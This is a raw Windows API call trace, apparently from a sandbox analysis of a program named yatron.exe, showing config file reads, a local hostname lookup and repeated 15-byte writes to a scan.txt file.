[0130.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", nBufferLength=0x105, lpBuffer=0x2ec880, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", lpFilePart=0x0) returned 0x37
[0130.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", nBufferLength=0x105, lpBuffer=0x2ec770, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", lpFilePart=0x0) returned 0x37
[0131.225] GetCurrentProcess () returned 0xffffffffffffffff
[0131.225] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecb68 | out: TokenHandle=0x2ecb68*=0x484) returned 1
[0131.232] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x2ec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30
[0131.245] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2ecc20 | out: lpFileInformation=0x2ecc20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279e2c00, ftCreationTime.dwHighDateTime=0x1cd5cf6, ftLastAccessTime.dwLowDateTime=0xcf7c84e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x279e2c00, ftLastWriteTime.dwHighDateTime=0x1cd5cf6, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
[0131.247] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ec5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45
[0131.248] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2ecc08 | out: lpFileInformation=0x2ecc08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279e2c00, ftCreationTime.dwHighDateTime=0x1cd5cf6, ftLastAccessTime.dwLowDateTime=0xcf7c84e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x279e2c00, ftLastWriteTime.dwHighDateTime=0x1cd5cf6, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
[0131.248] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x2ec5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45
[0131.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eca80) returned 1
[0131.248] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x488
[0131.249] GetFileType (hFile=0x488) returned 0x1
[0131.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec9f0) returned 1
[0131.249] GetFileType (hFile=0x488) returned 0x1
[0131.468] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eca48 | out: phkResult=0x2eca48*=0x0) returned 0x2
[0131.468] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eca48 | out: phkResult=0x2eca48*=0x0) returned 0x2
[0131.487] GetFileSize (in: hFile=0x488, lpFileSizeHigh=0x2ecb58 | out: lpFileSizeHigh=0x2ecb58*=0x0) returned 0x8c8f
[0131.487] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ecac8, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ecac8*=0x1000, lpOverlapped=0x0) returned 1
[0131.518] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec8a8, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec8a8*=0x1000, lpOverlapped=0x0) returned 1
[0131.520] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec698, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec698*=0x1000, lpOverlapped=0x0) returned 1
[0131.521] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec698, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec698*=0x1000, lpOverlapped=0x0) returned 1
[0131.522] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec698, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec698*=0x1000, lpOverlapped=0x0) returned 1
[0131.522] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec558, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec558*=0x1000, lpOverlapped=0x0) returned 1
[0132.243] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec798, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec798*=0x1000, lpOverlapped=0x0) returned 1
[0132.365] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec648, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec648*=0x1000, lpOverlapped=0x0) returned 1
[0132.366] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec648, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec648*=0xc8f, lpOverlapped=0x0) returned 1
[0132.366] ReadFile (in: hFile=0x488, lpBuffer=0x26bbbb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ec768, lpOverlapped=0x0 | out: lpBuffer=0x26bbbb0*, lpNumberOfBytesRead=0x2ec768*=0x0, lpOverlapped=0x0) returned 1
[0132.366] CloseHandle (hObject=0x488) returned 1
[0132.369] GetCurrentProcess () returned 0xffffffffffffffff
[0132.369] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecd88 | out: TokenHandle=0x2ecd88*=0x488) returned 1
[0132.370] GetCurrentProcess () returned 0xffffffffffffffff
[0132.370] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecd88 | out: TokenHandle=0x2ecd88*=0x48c) returned 1
[0132.372] GetCurrentProcess () returned 0xffffffffffffffff
[0132.372] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecb68 | out: TokenHandle=0x2ecb68*=0x490) returned 1
[0132.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2ecc20 | out: lpFileInformation=0x2ecc20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", nBufferLength=0x105, lpBuffer=0x2ec5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config", lpFilePart=0x0) returned 0x37
[0132.373] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2ecc08 | out: lpFileInformation=0x2ecc08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.502] GetCurrentProcess () returned 0xffffffffffffffff
[0132.502] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecd88 | out: TokenHandle=0x2ecd88*=0x494) returned 1
[0132.503] GetCurrentProcess () returned 0xffffffffffffffff
[0132.503] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecd88 | out: TokenHandle=0x2ecd88*=0x498) returned 1
[0132.641] GetCurrentProcess () returned 0xffffffffffffffff
[0132.641] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecad8 | out: TokenHandle=0x2ecad8*=0x49c) returned 1
[0132.653] GetCurrentProcess () returned 0xffffffffffffffff
[0132.653] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ecae8 | out: TokenHandle=0x2ecae8*=0x4a0) returned 1
[0132.775] gethostname (in: name=0x2ed070, namelen=256 | out: name="XDuwTfOno") returned 0
[0135.162] GetCurrentProcess () returned 0xffffffffffffffff
[0135.163] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2eca08 | out: TokenHandle=0x2eca08*=0x514) returned 1
[0135.199] GetCurrentProcess () returned 0xffffffffffffffff
[0135.199] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2eca18 | out: TokenHandle=0x2eca18*=0x518) returned 1
[0135.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="XDuwTfOno", cchWideChar=9, lpMultiByteStr=0x2ed120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x2ed044 | out: lpMultiByteStr="XDuwTfOno\x9aÙ\x13", lpUsedDefaultChar=0x2ed044) returned 9
[0135.296] gethostbyname (name="XDuwTfOno") returned 0x1c8558f0*(h_name="XDuwTfOno", h_aliases=0x1c855910*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x1c855918*=([0]="192.168.0.154"))
[0165.878] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0166.920] gethostname (in: name=0x2ed060, namelen=256 | out: name="XDuwTfOno") returned 0
[0166.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="XDuwTfOno", cchWideChar=9, lpMultiByteStr=0x2ed110, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x2ed034 | out: lpMultiByteStr="XDuwTfOno'Wóþ\x07", lpUsedDefaultChar=0x2ed034) returned 9
[0166.923] gethostbyname (name="XDuwTfOno") returned 0x1c8558f0*(h_name="XDuwTfOno", h_aliases=0x1c855910*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x1c855918*=([0]="192.168.0.154"))
[0166.925] lstrlenA (lpString="XDuwTfOno") returned 9
[0166.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.948] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.950] GetFileType (hFile=0x252c) returned 0x1
[0166.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.950] GetFileType (hFile=0x252c) returned 0x1
[0166.950] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x0
[0166.953] WriteFile (in: hFile=0x252c, lpBuffer=0x2776318*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2776318*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.955] CloseHandle (hObject=0x252c) returned 1
[0166.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.958] GetFileType (hFile=0x252c) returned 0x1
[0166.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.958] GetFileType (hFile=0x252c) returned 0x1
[0166.958] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0xf
[0166.959] WriteFile (in: hFile=0x252c, lpBuffer=0x2778e58*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2778e58*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.961] CloseHandle (hObject=0x252c) returned 1
[0166.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.963] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.963] GetFileType (hFile=0x252c) returned 0x1
[0166.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.964] GetFileType (hFile=0x252c) returned 0x1
[0166.964] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x1e
[0166.964] WriteFile (in: hFile=0x252c, lpBuffer=0x277b998*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x277b998*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.964] CloseHandle (hObject=0x252c) returned 1
[0166.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.966] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.967] GetFileType (hFile=0x252c) returned 0x1
[0166.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.967] GetFileType (hFile=0x252c) returned 0x1
[0166.967] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x2d
[0166.967] WriteFile (in: hFile=0x252c, lpBuffer=0x277e4d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x277e4d8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.967] CloseHandle (hObject=0x252c) returned 1
[0166.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.969] GetFileType (hFile=0x252c) returned 0x1
[0166.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.970] GetFileType (hFile=0x252c) returned 0x1
[0166.970] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3c
[0166.970] WriteFile (in: hFile=0x252c, lpBuffer=0x2781018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2781018*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.970] CloseHandle (hObject=0x252c) returned 1
[0166.972] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.972] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.973] GetFileType (hFile=0x252c) returned 0x1
[0166.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.973] GetFileType (hFile=0x252c) returned 0x1
[0166.973] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4b
[0166.973] WriteFile (in: hFile=0x252c, lpBuffer=0x2783b58*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2783b58*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.973] CloseHandle (hObject=0x252c) returned 1
[0166.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.976] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.976] GetFileType (hFile=0x252c) returned 0x1
[0166.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.976] GetFileType (hFile=0x252c) returned 0x1
[0166.976] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5a
[0166.977] WriteFile (in: hFile=0x252c, lpBuffer=0x2786698*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2786698*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.977] CloseHandle (hObject=0x252c) returned 1
[0166.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.979] GetFileType (hFile=0x252c) returned 0x1
[0166.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0166.980] GetFileType (hFile=0x252c) returned 0x1
[0166.980] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x69
[0166.980] WriteFile (in: hFile=0x252c, lpBuffer=0x27891d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x27891d8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0166.980] CloseHandle (hObject=0x252c) returned 1
[0166.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0166.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0166.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0166.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0166.985] GetFileType (hFile=0x252c) returned 0x1
